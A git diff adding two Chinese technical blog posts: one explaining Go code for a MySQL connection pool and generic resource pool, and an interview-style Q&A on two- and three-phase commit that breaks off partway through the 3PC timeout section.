@@ -0,0 +1,1037 @@ +--- +layout: post +title: 连接池 +subtitle: +tags: [数据库中间件] +comments: true +--- + +```go + +// PooledConnect app use this object to exec sql +type pooledConnectImpl struct { + directConnection *DirectConnection + pool *connectionPoolImpl + returnTime time.Time +} + +// Recycle return PooledConnect to the pool +func (pc *pooledConnectImpl) Recycle() { + //if has error,the connection can’t be recycled + if pc.directConnection.pkgErr != nil { + pc.Close() + } + + if pc.IsClosed() { + pc.pool.Put(nil) + } else { + pc.pool.Put(pc) + pc.returnTime = time.Now() + } +} + +// Reconnect replaces the existing underlying connection with a new one. +// If we get "MySQL server has gone away (errno 2006)", then call Reconnect +func (pc *pooledConnectImpl) Reconnect() error { + pc.directConnection.Close() + newConn, err := NewDirectConnection(pc.pool.addr, pc.pool.user, pc.pool.password, pc.pool.db, pc.pool.charset, pc.pool.collationID, pc.pool.clientCapability) + if err != nil { + return err + } + pc.directConnection = newConn + return nil +} + +// Close implement util.Resource interface +func (pc *pooledConnectImpl) Close() { + pc.directConnection.Close() +} + +// IsClosed check if pooled connection closed +func (pc *pooledConnectImpl) IsClosed() bool { + if pc.directConnection == nil { + return true + } + return pc.directConnection.IsClosed() +} + +// UseDB wrapper of direct connection, init database +func (pc *pooledConnectImpl) UseDB(db string) error { + return pc.directConnection.UseDB(db) +} + +func (pc *pooledConnectImpl) Ping() error { + if pc.directConnection == nil { + return fmt.Errorf("directConnection is nil, pc addr:%s", pc.GetAddr()) + } + return pc.directConnection.Ping() +} + +func (pc *pooledConnectImpl) PingWithTimeout(timeout time.Duration) error { + return pc.directConnection.PingWithTimeout(timeout) +} + +// Execute wrapper of direct connection, execute sql +func (pc *pooledConnectImpl) Execute(sql string, maxRows int) (*mysql.Result, error) { + return pc.directConnection.Execute(sql, maxRows) +} + +// SetAutoCommit wrapper of direct connection, set autocommit +func (pc *pooledConnectImpl) SetAutoCommit(v uint8) error { + return pc.directConnection.SetAutoCommit(v) +} + +// Begin wrapper of direct connection, begin transaction +func (pc *pooledConnectImpl) Begin() error { + return pc.directConnection.Begin() +} + +// Commit wrapper of direct connection, commit transaction +func (pc *pooledConnectImpl) Commit() error { + return pc.directConnection.Commit() +} + +// Rollback wrapper of direct connection, rollback transaction +func (pc *pooledConnectImpl) Rollback() error { + return pc.directConnection.Rollback() +} + +// SetCharset wrapper of direct connection, set charset of connection +func (pc *pooledConnectImpl) SetCharset(charset string, collation mysql.CollationID) (bool, error) { + return pc.directConnection.SetCharset(charset, collation) +} + +// FieldList wrapper of direct connection, send field list to mysql +func (pc *pooledConnectImpl) FieldList(table string, wildcard string) ([]*mysql.Field, error) { + return pc.directConnection.FieldList(table, wildcard) +} + +// GetAddr wrapper of return addr of direct connection +func (pc *pooledConnectImpl) GetAddr() string { + return pc.directConnection.GetAddr() +} + +// SetSessionVariables set pc variables according to session +func (pc *pooledConnectImpl) SetSessionVariables(frontend *mysql.SessionVariables) (bool, error) { + return pc.directConnection.SetSessionVariables(frontend) +} + +// WriteSetStatement exec sql +func (pc *pooledConnectImpl) WriteSetStatement() error { + return pc.directConnection.WriteSetStatement() +} + +func (pc *pooledConnectImpl) GetConnectionID() int64 { + return int64(pc.directConnection.conn.ConnectionID) +} + +func (pc *pooledConnectImpl) GetReturnTime() time.Time { + return pc.returnTime +} + +``` + +这个pooledConnectImpl结构体实现了一个连接池中的连接对象,它是连接池(connectionPoolImpl)和直接数据库连接(DirectConnection)之间的一个适配器或包装器。 + +主要功能: +资源回收(Recycle):将连接对象返回到连接池。如果连接有错误或已关闭,它将不会被回收。 + +重新连接(Reconnect):如果连接出现问题(例如,MySQL服务器已经关闭),这个方法会关闭当前连接并创建一个新的连接。 + +关闭连接(Close):关闭底层的直接数据库连接。 + +检查连接状态(IsClosed):检查底层的直接数据库连接是否已关闭。 + +使用数据库(UseDB):切换到指定的数据库。 + +Ping和PingWithTimeout:检查连接是否存活。 + +执行SQL(Execute):执行SQL查询。 + +事务操作(Begin, Commit, Rollback):开始、提交或回滚事务。 + +设置字符集(SetCharset):设置连接的字符集和排序规则。 + +字段列表(FieldList):获取指定表的字段列表。 + +获取连接地址(GetAddr):返回底层直接数据库连接的地址。 + +设置会话变量(SetSessionVariables):根据会话设置连接的变量。 + +执行SET语句(WriteSetStatement):执行SQL的SET语句。 + +获取连接ID(GetConnectionID):获取底层连接的ID。 + +获取返回时间(GetReturnTime):获取连接被返回到连接池的时间。 + +如何使用: +这个pooledConnectImpl对象通常由连接池管理,并通过连接池的Get方法返回给应用程序。应用程序使用这个对象来执行数据库操作,然后通过Recycle方法将其返回到连接池。 + +例如: + +```go +// 获取连接 +conn, err := pool.Get(ctx) +if err != nil { + // 处理错误 +} +``` + +```go +// 类型断言到具体的实现 +pooledConn, ok := conn.(*pooledConnectImpl) +if !ok { + // 处理错误 +} +``` + +```go +// 使用连接执行SQL +result, err := pooledConn.Execute("SELECT * FROM table", 100) +if err != nil { + // 处理错误 +} +``` + +```go +// 回收连接 +pooledConn.Recycle() +这样,pooledConnectImpl提供了一种方式来管理和复用数据库连接,同时还提供了丰富的数据库操作接口。 + +``` + +在这个代码中,pooledConnectImpl 结构体包含了一个 *DirectConnection 类型的字段 directConnection 和一个 *connectionPoolImpl 类型的字段 pool。这两个字段使得 pooledConnectImpl 可以访问和操作底层的直接数据库连接(DirectConnection)以及连接池(connectionPoolImpl)。 + +```go +type pooledConnectImpl struct { + directConnection *DirectConnection + pool *connectionPoolImpl + returnTime time.Time +} +``` +这里的“适配器或包装器”体现在 pooledConnectImpl 的各个方法上,这些方法内部通常是对 directConnection 或 pool 的方法的直接调用或稍作修改后的调用。例如: + +Recycle() 方法将连接对象返回到其所属的连接池(pool)。 +Reconnect() 方法关闭当前的直接连接(directConnection)并创建一个新的。 +Execute(sql string, maxRows int) 方法是对 directConnection.Execute() 的直接调用。 +这样,pooledConnectImpl 成为了一个适配器或包装器,它封装了底层数据库连接和连接池的复杂性,提供了一个更简单和统一的接口供上层应用使用。这也是典型的适配器或包装器模式的应用。 + + +```go +// ResourcePool allows you to use a pool of resources. +// ResourcePool允许使用各种资源池,需要根据提供的factory创建特定的资源,比如连接 +type ResourcePool struct { + resources chan resourceWrapper + factory Factory + capacity sync2.AtomicInt64 + idleTimeout sync2.AtomicDuration + idleTimer *timer.Timer + capTimer *timer.Timer + + // stats + available sync2.AtomicInt64 + active sync2.AtomicInt64 + inUse sync2.AtomicInt64 + waitCount sync2.AtomicInt64 + waitTime sync2.AtomicDuration + idleClosed sync2.AtomicInt64 + baseCapacity sync2.AtomicInt64 + maxCapacity sync2.AtomicInt64 + lock *sync.Mutex + scaleOutTime int64 + scaleInTodo chan int8 + Dynamic bool +} + +// connectionPoolImpl means connection pool with specific addr +type connectionPoolImpl struct { + mu sync.RWMutex + connections *util.ResourcePool + checkConn *pooledConnectImpl + + addr string + datacenter string + user string + password string + db string + + charset string + collationID mysql.CollationID + + capacity int // capacity of pool + maxCapacity int // max capacity of pool + idleTimeout time.Duration + clientCapability uint32 + initConnect string +} + +// NewConnectionPool create connection pool +func NewConnectionPool(addr, user, password, db string, capacity, maxCapacity int, idleTimeout time.Duration, charset string, collationID mysql.CollationID, clientCapability uint32, initConnect string, dc string) ConnectionPool { + return &connectionPoolImpl{ + addr: addr, + datacenter: dc, + user: user, + password: password, + db: db, + capacity: capacity, + maxCapacity: maxCapacity, + idleTimeout: idleTimeout, + charset: charset, + collationID: collationID, + clientCapability: clientCapability, + initConnect: strings.Trim(strings.TrimSpace(initConnect), ";"), + } +} + +func (cp *connectionPoolImpl) pool() (p *util.ResourcePool) { + cp.mu.Lock() + p = cp.connections + cp.mu.Unlock() + return p +} + +// Open open connection pool without error, should be called before use the pool +func (cp *connectionPoolImpl) Open() error { + if cp.capacity == 0 { + cp.capacity = DefaultCapacity + } + + if cp.maxCapacity == 0 { + cp.maxCapacity = cp.capacity + } + cp.mu.Lock() + defer cp.mu.Unlock() + var err error = nil + cp.connections, err = util.NewResourcePool(cp.connect, cp.capacity, cp.maxCapacity, cp.idleTimeout) + return err +} + +// connect is used by the resource pool to create new resource.It's factory method +func (cp *connectionPoolImpl) connect() (util.Resource, error) { + c, err := NewDirectConnection(cp.addr, cp.user, cp.password, cp.db, cp.charset, cp.collationID, cp.clientCapability) + if err != nil { + return nil, err + } + if cp.initConnect != "" { + for _, sql := range strings.Split(cp.initConnect, ";") { + _, err := c.Execute(sql, 0) + if err != nil { + return nil, err + } + } + } + return &pooledConnectImpl{directConnection: c, pool: cp}, nil +} + +// Addr return addr of connection pool +func (cp *connectionPoolImpl) Addr() string { + return cp.addr +} + +// Datacenter return datacenter of connection pool +func (cp *connectionPoolImpl) Datacenter() string { + return cp.datacenter +} + +// Close close connection pool +func (cp *connectionPoolImpl) Close() { + p := cp.pool() + if p == nil { + return + } + p.Close() + cp.mu.Lock() + // close check conn + if cp.checkConn != nil { + cp.checkConn.Close() + cp.checkConn = nil + } + cp.connections = nil + cp.mu.Unlock() + return +} + +// tryReuse reset params of connection before reuse +func (cp *connectionPoolImpl) tryReuse(pc *pooledConnectImpl) error { + return pc.directConnection.ResetConnection() +} + +// Get return a connection, you should call PooledConnect's Recycle once done +func (cp *connectionPoolImpl) Get(ctx context.Context) (pc PooledConnect, err error) { + p := cp.pool() + if p == nil { + return nil, ErrConnectionPoolClosed + } + + getCtx, cancel := context.WithTimeout(ctx, GetConnTimeout) + defer cancel() + r, err := p.Get(getCtx) + if err != nil { + return nil, err + } + + pc = r.(*pooledConnectImpl) + + //do ping when over the ping time. if error happen, create new one + if !pc.GetReturnTime().IsZero() && time.Until(pc.GetReturnTime().Add(pingPeriod)) < 0 { + if err = pc.PingWithTimeout(GetConnTimeout); err != nil { + err = pc.Reconnect() + } + } + + return pc, err +} + +// GetCheck return a check backend db connection, which independent with connection pool +func (cp *connectionPoolImpl) GetCheck(ctx context.Context) (PooledConnect, error) { + if cp.checkConn != nil && !cp.checkConn.IsClosed() { + return cp.checkConn, nil + } + + getCtx, cancel := context.WithTimeout(ctx, GetConnTimeout) + defer cancel() + + getConnChan := make(chan error) + go func() { + // connect timeout will be in 2s + checkConn, err := cp.connect() + if err != nil { + return + } + cp.checkConn = checkConn.(*pooledConnectImpl) + + if cp.checkConn.IsClosed() { + if err := cp.checkConn.Reconnect(); err != nil { + return + } + } + getConnChan <- err + }() + + select { + case <-getCtx.Done(): + return nil, fmt.Errorf("get conn timeout") + case err1 := <-getConnChan: + if err1 != nil { + return nil, err1 + } + return cp.checkConn, nil + } + +} + +// Put recycle a connection into the pool +func (cp *connectionPoolImpl) Put(pc PooledConnect) { + p := cp.pool() + if p == nil { + panic(ErrConnectionPoolClosed) + } + + if pc == nil { + p.Put(nil) + } else if err := cp.tryReuse(pc.(*pooledConnectImpl)); err != nil { + pc.Close() + p.Put(nil) + } else { + p.Put(pc) + } +} + +// SetCapacity alert the size of the pool at runtime +func (cp *connectionPoolImpl) SetCapacity(capacity int) (err error) { + cp.mu.Lock() + defer cp.mu.Unlock() + if cp.connections != nil { + err = cp.connections.SetCapacity(capacity) + if err != nil { + return err + } + } + cp.capacity = capacity + return nil +} + +// SetIdleTimeout set the idleTimeout of the pool +func (cp *connectionPoolImpl) SetIdleTimeout(idleTimeout time.Duration) { + cp.mu.Lock() + defer cp.mu.Unlock() + if cp.connections != nil { + cp.connections.SetIdleTimeout(idleTimeout) + } + cp.idleTimeout = idleTimeout +} + +// StatsJSON return the pool stats as JSON object. +func (cp *connectionPoolImpl) StatsJSON() string { + p := cp.pool() + if p == nil { + return "{}" + } + return p.StatsJSON() +} + +// Capacity return the pool capacity +func (cp *connectionPoolImpl) Capacity() int64 { + p := cp.pool() + if p == nil { + return 0 + } + return p.Capacity() +} + +// Available returns the number of available connections in the pool +func (cp *connectionPoolImpl) Available() int64 { + p := cp.pool() + if p == nil { + return 0 + } + return p.Available() +} + +// Active returns the number of active connections in the pool +func (cp *connectionPoolImpl) Active() int64 { + p := cp.pool() + if p == nil { + return 0 + } + return p.Active() +} + +// InUse returns the number of in-use connections in the pool +func (cp *connectionPoolImpl) InUse() int64 { + p := cp.pool() + if p == nil { + return 0 + } + return p.InUse() +} + +// MaxCap returns the maximum size of the pool +func (cp *connectionPoolImpl) MaxCap() int64 { + p := cp.pool() + if p == nil { + return 0 + } + return p.MaxCap() +} + +// WaitCount returns how many clients are waitting for a connection +func (cp *connectionPoolImpl) WaitCount() int64 { + p := cp.pool() + if p == nil { + return 0 + } + return p.WaitCount() +} + +// WaitTime returns the time wait for a connection +func (cp *connectionPoolImpl) WaitTime() time.Duration { + p := cp.pool() + if p == nil { + return 0 + } + return p.WaitTime() +} + +// IdleTimeout returns the idle timeout for the pool +func (cp *connectionPoolImpl) IdleTimeout() time.Duration { + p := cp.pool() + if p == nil { + return 0 + } + return p.IdleTimeout() +} + +// IdleClosed return the number of closed connections for the pool +func (cp *connectionPoolImpl) IdleClosed() int64 { + p := cp.pool() + if p == nil { + return 0 + } + return p.IdleClosed() +} +``` + + +主要功能: +连接池初始化:通过NewConnectionPool函数,可以创建一个新的连接池实例。这个函数接收多个参数,包括数据库地址、用户名、密码、数据库名、连接池容量、最大容量、空闲超时时间等。 + +打开连接池:Open函数用于打开连接池,并根据配置初始化资源池。 + +获取连接:Get函数用于从连接池中获取一个数据库连接。如果连接池为空或者所有连接都在使用中,该函数会等待或创建一个新的连接。 + +放回连接:Put函数用于将用完的数据库连接放回连接池。 + +关闭连接池:Close函数用于关闭连接池和其中的所有连接。 + +动态调整连接池大小:SetCapacity函数用于动态调整连接池的大小。 + +设置空闲超时:SetIdleTimeout函数用于设置连接的空闲超时时间。 + +连接池状态统计:提供了多个函数(如StatsJSON, Capacity, Available, Active, InUse等)用于获取连接池的状态信息。 + +连接复用与校验:tryReuse函数用于在将连接放回连接池前重置连接的状态。 + +连接创建与初始化:connect函数用于创建新的数据库连接,并执行初始化SQL命令(如果有)。 + +独立的探活连接:GetCheck函数用于获取一个用于探活(健康检查)的数据库连接。 + +如何使用: +创建连接池:首先通过NewConnectionPool创建一个新的连接池实例。 + +```go +pool := NewConnectionPool(addr, user, password, db, capacity, maxCapacity, idleTimeout, charset, collationID, clientCapability, initConnect, dc) +``` +打开连接池:然后调用Open函数打开连接池。 + +```go +err := pool.Open() +if err != nil { + // handle error +} +``` +获取连接:当需要数据库连接时,调用Get函数。 + +```go +conn, err := pool.Get(ctx) +if err != nil { + // handle error +} +``` +使用连接:使用获取到的连接进行数据库操作。 + +释放连接:操作完成后,通过Put函数将连接放回连接池。 + +```go +pool.Put(conn) +``` +关闭连接池:当不再需要连接池时,调用Close函数关闭它。 + +```go +pool.Close() +``` +其他操作:根据需要,还可以调用其他函数来获取连接池状态、调整连接池大小、设置空闲超时等。 +这个连接池实现了很多高级功能,包括连接复用、动态调整大小、状态监控等,非常适用于生产环境。 + + + +```go +// Factory is a function that can be used to create a resource. +type Factory func() (Resource, error) + +// Resource defines the interface that every resource must provide. +// Thread synchronization between Close() and IsClosed() +// is the responsibility of the caller. +type Resource interface { + Close() +} + +// ResourcePool allows you to use a pool of resources. +// ResourcePool允许使用各种资源池,需要根据提供的factory创建特定的资源,比如连接 +type ResourcePool struct { + resources chan resourceWrapper + factory Factory + capacity sync2.AtomicInt64 + idleTimeout sync2.AtomicDuration + idleTimer *timer.Timer + capTimer *timer.Timer + + // stats + available sync2.AtomicInt64 + active sync2.AtomicInt64 + inUse sync2.AtomicInt64 + waitCount sync2.AtomicInt64 + waitTime sync2.AtomicDuration + idleClosed sync2.AtomicInt64 + baseCapacity sync2.AtomicInt64 + maxCapacity sync2.AtomicInt64 + lock *sync.Mutex + scaleOutTime int64 + scaleInTodo chan int8 + Dynamic bool +} + +type resourceWrapper struct { + resource Resource + timeUsed time.Time +} + +// NewResourcePool creates a new ResourcePool pool. +// capacity is the number of possible resources in the pool: +// there can be up to 'capacity' of these at a given time. +// maxCap specifies the extent to which the pool can be resized +// in the future through the SetCapacity function. +// You cannot resize the pool beyond maxCap. +// If a resource is unused beyond idleTimeout, it's discarded. +// An idleTimeout of 0 means that there is no timeout. +// 创建一个资源池子,capacity是池子中可用资源数量 +// maxCap代表最大资源数量 +// 超过设定空闲时间的连接会被丢弃 +// 资源池会根据传入的factory进行具体资源的初始化,比如建立与mysql的连接 +func NewResourcePool(factory Factory, capacity, maxCap int, idleTimeout time.Duration) (*ResourcePool, error) { + if capacity <= 0 || maxCap <= 0 || capacity > maxCap { + return nil, fmt.Errorf("invalid/out of range capacity") + } + rp := &ResourcePool{ + resources: make(chan resourceWrapper, maxCap), + factory: factory, + available: sync2.NewAtomicInt64(int64(capacity)), + capacity: sync2.NewAtomicInt64(int64(capacity)), + idleTimeout: sync2.NewAtomicDuration(idleTimeout), + baseCapacity: sync2.NewAtomicInt64(int64(capacity)), + maxCapacity: sync2.NewAtomicInt64(int64(maxCap)), + lock: &sync.Mutex{}, + scaleInTodo: make(chan int8, 1), + Dynamic: true, // 动态扩展连接池 + } + + for i := 0; i < capacity; i++ { + rp.resources <- resourceWrapper{} + } + + if idleTimeout != 0 { + rp.idleTimer = timer.NewTimer(idleTimeout / 10) + rp.idleTimer.Start(rp.closeIdleResources) + } + rp.capTimer = timer.NewTimer(5 * time.Second) + rp.capTimer.Start(rp.scaleInResources) + return rp, nil +} + +// Close empties the pool calling Close on all its resources. +// You can call Close while there are outstanding resources. +// It waits for all resources to be returned (Put). +// After a Close, Get is not allowed. +func (rp *ResourcePool) Close() { + if rp.idleTimer != nil { + rp.idleTimer.Stop() + } + if rp.capTimer != nil { + rp.capTimer.Stop() + } + _ = rp.ScaleCapacity(0) +} + +func (rp *ResourcePool) SetDynamic(value bool) { + rp.Dynamic = value +} + +// IsClosed returns true if the resource pool is closed. +func (rp *ResourcePool) IsClosed() (closed bool) { + return rp.capacity.Get() == 0 +} + +// closeIdleResources scans the pool for idle resources +// 定期回收超过IdleTimeout的资源 +func (rp *ResourcePool) closeIdleResources() { + available := int(rp.Available()) + idleTimeout := rp.IdleTimeout() + + for i := 0; i < available; i++ { + var wrapper resourceWrapper + select { + case wrapper, _ = <-rp.resources: + default: + // stop early if we don't get anything new from the pool + return + } + + if wrapper.resource != nil && idleTimeout > 0 && wrapper.timeUsed.Add(idleTimeout).Sub(time.Now()) < 0 { + wrapper.resource.Close() + wrapper.resource = nil + rp.idleClosed.Add(1) + rp.active.Add(-1) + } + + rp.resources <- wrapper + } +} + +// Get will return the next available resource. If capacity +// has not been reached, it will create a new one using the factory. Otherwise, +// it will wait till the next resource becomes available or a timeout. +// A timeout of 0 is an indefinite wait. +// Get会返回下一个可用的资源 +// 如果容量没有达到上线,它会根据factory创建一个新的资源,否则会一直等待直到资源可用或超时 +func (rp *ResourcePool) Get(ctx context.Context) (resource Resource, err error) { + return rp.get(ctx, true) +} + +func (rp *ResourcePool) get(ctx context.Context, wait bool) (resource Resource, err error) { + // If ctx has already expired, avoid racing with rp's resource channel. + select { + case <-ctx.Done(): + return nil, ErrTimeout + default: + } + + // Fetch + var wrapper resourceWrapper + var ok bool + select { + case wrapper, ok = <-rp.resources: + default: + if rp.Dynamic { + rp.scaleOutResources() + } + if !wait { + return nil, nil + } + startTime := time.Now() + select { + case wrapper, ok = <-rp.resources: + case <-ctx.Done(): + return nil, ErrTimeout + } + endTime := time.Now() + if startTime.UnixNano()/100000 != endTime.UnixNano()/100000 { + rp.recordWait(startTime) + } + } + if !ok { + return nil, ErrClosed + } + + if wrapper.resource == nil { + errChan := make(chan error) + go func() { + wrapper.resource, err = rp.factory() + if err != nil { + errChan <- err + return + } + errChan <- nil + }() + + select { + case <-ctx.Done(): + return nil, ctx.Err() + case err1 := <-errChan: + if err1 != nil { + rp.resources <- resourceWrapper{} + return nil, err1 + } + } + + rp.active.Add(1) + } + rp.available.Add(-1) + rp.inUse.Add(1) + return wrapper.resource, err +} + +// Put will return a resource to the pool. For every successful Get, +// a corresponding Put is required. If you no longer need a resource, +// you will need to call Put(nil) instead of returning the closed resource. +// The will eventually cause a new resource to be created in its place. +func (rp *ResourcePool) Put(resource Resource) { + var wrapper resourceWrapper + if resource != nil { + wrapper = resourceWrapper{resource, time.Now()} + } else { + rp.active.Add(-1) + } + select { + case rp.resources <- wrapper: + default: + panic(errors.New("attempt to Put into a full ResourcePool")) + } + rp.inUse.Add(-1) + rp.available.Add(1) +} + +func (rp *ResourcePool) SetCapacity(capacity int) error { + oldcap := rp.baseCapacity.Get() + rp.baseCapacity.CompareAndSwap(oldcap, int64(capacity)) + if int(oldcap) < capacity { + rp.ScaleCapacity(capacity) + } + return nil +} + +// SetCapacity changes the capacity of the pool. +// You can use it to shrink or expand, but not beyond +// the max capacity. If the change requires the pool +// to be shrunk, SetCapacity waits till the necessary +// number of resources are returned to the pool. +// A SetCapacity of 0 is equivalent to closing the ResourcePool. +func (rp *ResourcePool) ScaleCapacity(capacity int) error { + if capacity < 0 || capacity > int(rp.maxCapacity.Get()) { + return fmt.Errorf("capacity %d is out of range", capacity) + } + + // Atomically swap new capacity with old, but only + // if old capacity is non-zero. + var oldcap int + for { + oldcap = int(rp.capacity.Get()) + if oldcap == 0 { + return ErrClosed + } + if oldcap == capacity { + return nil + } + if rp.capacity.CompareAndSwap(int64(oldcap), int64(capacity)) { + break + } + } + + if capacity < oldcap { + for i := 0; i < oldcap-capacity; i++ { + wrapper := <-rp.resources + if wrapper.resource != nil { + wrapper.resource.Close() + rp.active.Add(-1) + } + rp.available.Add(-1) + } + } else { + for i := 0; i < capacity-oldcap; i++ { + rp.resources <- resourceWrapper{} + rp.available.Add(1) + } + } + if capacity == 0 { + close(rp.resources) + } + return nil +} + +// 扩容 +func (rp *ResourcePool) scaleOutResources() { + rp.lock.Lock() + defer rp.lock.Unlock() + if rp.capacity.Get() < rp.maxCapacity.Get() { + rp.ScaleCapacity(int(rp.capacity.Get()) + 1) + rp.scaleOutTime = time.Now().Unix() + } +} + +// 缩容 +func (rp *ResourcePool) scaleInResources() { + rp.lock.Lock() + defer rp.lock.Unlock() + if rp.capacity.Get() > rp.baseCapacity.Get() && time.Now().Unix()-rp.scaleOutTime > 60 { + select { + case rp.scaleInTodo <- 0: + go func() { + rp.ScaleCapacity(int(rp.capacity.Get()) - 1) + <-rp.scaleInTodo + }() + default: + return + } + } +} + +func (rp *ResourcePool) recordWait(start time.Time) { + rp.waitCount.Add(1) + rp.waitTime.Add(time.Now().Sub(start)) +} + +// SetIdleTimeout sets the idle timeout. It can only be used if there was an +// idle timeout set when the pool was created. +func (rp *ResourcePool) SetIdleTimeout(idleTimeout time.Duration) { + if rp.idleTimer == nil { + panic("SetIdleTimeout called when timer not initialized") + } + + rp.idleTimeout.Set(idleTimeout) + rp.idleTimer.SetInterval(idleTimeout / 10) +} + +// StatsJSON returns the stats in JSON format. +func (rp *ResourcePool) StatsJSON() string { + return fmt.Sprintf(`{"Capacity": %v, "Available": %v, "Active": %v, "InUse": %v, "MaxCapacity": %v, "WaitCount": %v, "WaitTime": %v, "IdleTimeout": %v, "IdleClosed": %v}`, + rp.Capacity(), + rp.Available(), + rp.Active(), + rp.InUse(), + rp.MaxCap(), + rp.WaitCount(), + rp.WaitTime().Nanoseconds(), + rp.IdleTimeout().Nanoseconds(), + rp.IdleClosed(), + ) +} + +// Capacity returns the capacity. +func (rp *ResourcePool) Capacity() int64 { + return rp.capacity.Get() +} + +// Available returns the number of currently unused and available resources. +func (rp *ResourcePool) Available() int64 { + return rp.available.Get() +} + +// Active returns the number of active (i.e. non-nil) resources either in the +// pool or claimed for use +func (rp *ResourcePool) Active() int64 { + return rp.active.Get() +} + +// InUse returns the number of claimed resources from the pool +func (rp *ResourcePool) InUse() int64 { + return rp.inUse.Get() +} + +// MaxCap returns the max capacity. +func (rp *ResourcePool) MaxCap() int64 { + return int64(cap(rp.resources)) +} + +// WaitCount returns the total number of waits. +func (rp *ResourcePool) WaitCount() int64 { + return rp.waitCount.Get() +} + +// WaitTime returns the total wait time. +func (rp *ResourcePool) WaitTime() time.Duration { + return rp.waitTime.Get() +} + +// IdleTimeout returns the idle timeout. +func (rp *ResourcePool) IdleTimeout() time.Duration { + return rp.idleTimeout.Get() +} + +// IdleClosed returns the count of resources closed due to idle timeout. +func (rp *ResourcePool) IdleClosed() int64 { + return rp.idleClosed.Get() +} +``` + +ResourcePool 是一个通用的资源池实现,它可以用于管理任何实现了 Resource 接口的资源。这种资源通常是数据库连接、网络连接或其他需要昂贵的初始化和维护的资源。 + +主要功能: +资源初始化: 使用传入的 Factory 函数来创建新的资源。 +资源回收: 通过 Put 方法将不再使用的资源返回到池中。 +资源获取: 通过 Get 方法从池中获取一个资源。 +动态扩缩容: 可以动态地改变资源池的大小。 +空闲资源回收: 超过一定时间未使用的资源会被自动关闭并从池中移除。 +统计信息: 提供了如 WaitCount, WaitTime, Active, InUse 等统计信息。 +如何使用: +创建资源池: 使用 NewResourcePool 函数创建一个新的资源池。 +```go +pool, err := NewResourcePool(factory, capacity, maxCap, idleTimeout) +``` +获取资源: 使用 Get 方法从资源池中获取一个资源。 + +```go +resource, err := pool.Get(ctx) +``` +使用资源: 对获取到的资源进行操作。 +回收资源: 使用完资源后,通过 Put 方法将其返回到资源池。 +```go +pool.Put(resource) +``` +关闭资源池: 使用 Close 方法关闭资源池。 +```go +pool.Close() +``` +这个 ResourcePool 可以被用作数据库连接池、HTTP客户端池或其他需要资源复用的场景。它提供了一种通用的方式来管理和复用资源,从而提高应用性能和资源利用率。 + + + + diff --git a/_posts/2024-11-14-test-markdown.md b/_posts/2024-11-14-test-markdown.md new file mode 100644 index 000000000000..e10a59ee7cad --- /dev/null +++ b/_posts/2024-11-14-test-markdown.md @@ -0,0 +1,199 @@ +--- +layout: post +title: 3PC/2PC/SOGA +subtitle: +tags: [分布式事务] +comments: true +--- + + +> 基础理解: 请简要解释两阶段提交(2PC)的工作原理。 + +准备阶段(Prepare Phase): 协调者(Coordinator)询问所有参与者(Participants)是否准备好提交事务。参与者执行所有事务操作,并准备提交或回滚,然后回应协调者。 + +提交阶段(Commit Phase): 基于参与者的回应,协调者决定是否提交或回滚事务。协调者向所有参与者发送“提交(Commit)”或“回滚(Abort)”的指令。 + +> 优缺点分析: 请列举2PC的优点和缺点,并解释在什么场景下使用它是合适的。 + +简单易懂: 2PC是一个非常直观和简单的协议。 +强一致性: 它可以确保在所有参与者中事务的一致性。 + +> 阻塞问题: 在2PC中,如果协调者(Coordinator)崩溃会发生什么?如何解决这个问题? + +如果协调者崩溃,参与者会被阻塞,因为它们不知道应该提交还是回滚事务。 + +解决方案: + +超时机制: 参与者可以设置一个超时机制,在超时后选择回滚事务。 +持久化日志: 协调者和参与者都可以持久化其决策,以便在故障后恢复。 +在两阶段提交(2PC)协议中,持久化日志通常包括: + +协调者发送的“准备(Prepare)”和“提交(Commit)”或“终止(Abort)”指令。 +参与者对“准备(Prepare)”指令的响应,通常是“同意(Yes)”或“拒绝(No)”。 +如果协调者崩溃,它可以在重新启动后查看持久化日志来确定在崩溃前事务处于哪个阶段。然后,它可以决定是继续提交事务,还是终止事务。 + +同样,如果一个参与者崩溃并重新启动,它也可以查看自己的持久化日志来确定应该如何继续。 + +需要注意的是,参与者通常不会查看协调者的日志。每个节点(协调者和参与者)都有自己的持久化日志,并且只依赖于这些日志来在故障后恢复状态。 + +简而言之,持久化日志主要用于故障恢复,而不是用于在运行时改变协议的行为。 + +> 实际应用: 请描述一个曾经参与的,使用2PC解决分布式事务问题的项目。特别是遇到的问题和如何解决的。 + +我没有实际参与过使用2PC的项目,但一个常见的应用场景是分布式数据库系统。在这样的系统中,2PC可以用于确保跨多个节点的事务一致性。 + +> 代码层面: 能否手写一个简单的2PC的伪代码或流程图? + +```go +// 2PC Coordinator +func TwoPhaseCommitCoordinator(participants []Participant) { + // Phase 1: Prepare + for _, p := range participants { + send("PREPARE", p) + } + + allAgreed := true + for _, p := range participants { + reply := receive(p) + if reply != "AGREE" { + allAgreed = false + break + } + } + + // Phase 2: Commit or Abort + if allAgreed { + for _, p := range participants { + send("COMMIT", p) + } + } else { + for _, p := range participants { + send("ABORT", p) + } + } +} + + +``` + +3PC(三阶段提交) +> 基础理解: 请简要解释三阶段提交(3PC)与两阶段提交(2PC)的不同。 + +阶段数量:2PC有两个阶段(准备和提交/中止),而3PC有三个阶段(CanCommit?、PreCommit和DoCommit)。 +阻塞问题:2PC可能会在协调者崩溃后导致参与者阻塞。3PC通过引入超时和额外的阶段来解决这个问题。 +故障恢复:3PC更容易从协调者或参与者的故障中恢复。 + +> 优缺点分析: 3PC相对于2PC有哪些优势和劣势? + +优势 +非阻塞性:3PC设计为非阻塞算法,即使在协调者崩溃的情况下也能恢复。 +更强的一致性保证:通过引入额外的阶段和超时,3PC提供了更强的一致性保证。 + +劣势 +复杂性:由于有更多的阶段和消息交换,3PC比2PC更复杂。 +性能开销:额外的阶段和消息交换可能会导致更高的延迟和更低的吞吐量。 + +> 超时机制: 在3PC中,超时机制是如何工作的? + +在3PC中,超时机制用于解决协调者或参与者崩溃的问题。如果参与者在等待协调者的下一个消息时超时,它将自动中止或提交事务,具体取决于它在哪个阶段超时。 + + +在3PC中,有三个主要阶段:CanCommit?、PreCommit和DoCommit。 + +CanCommit? 阶段: 协调者询问参与者是否可以提交。参与者回复"Yes"或"No"。 +PreCommit 阶段: 如果所有参与者都回复"Yes",协调者发送PreCommit消息。这是一个准备提交的信号,但还没有正式提交。 +DoCommit 阶段: 在这个阶段,协调者发送DoCommit消息,正式开始提交操作。 +在这个过程中,如果参与者在等待协调者的下一个消息时超时,它的行为取决于它处于哪个阶段: + +如果它在CanCommit?阶段超时,它会选择中止(Abort)事务,因为没有收到明确的提交指示。 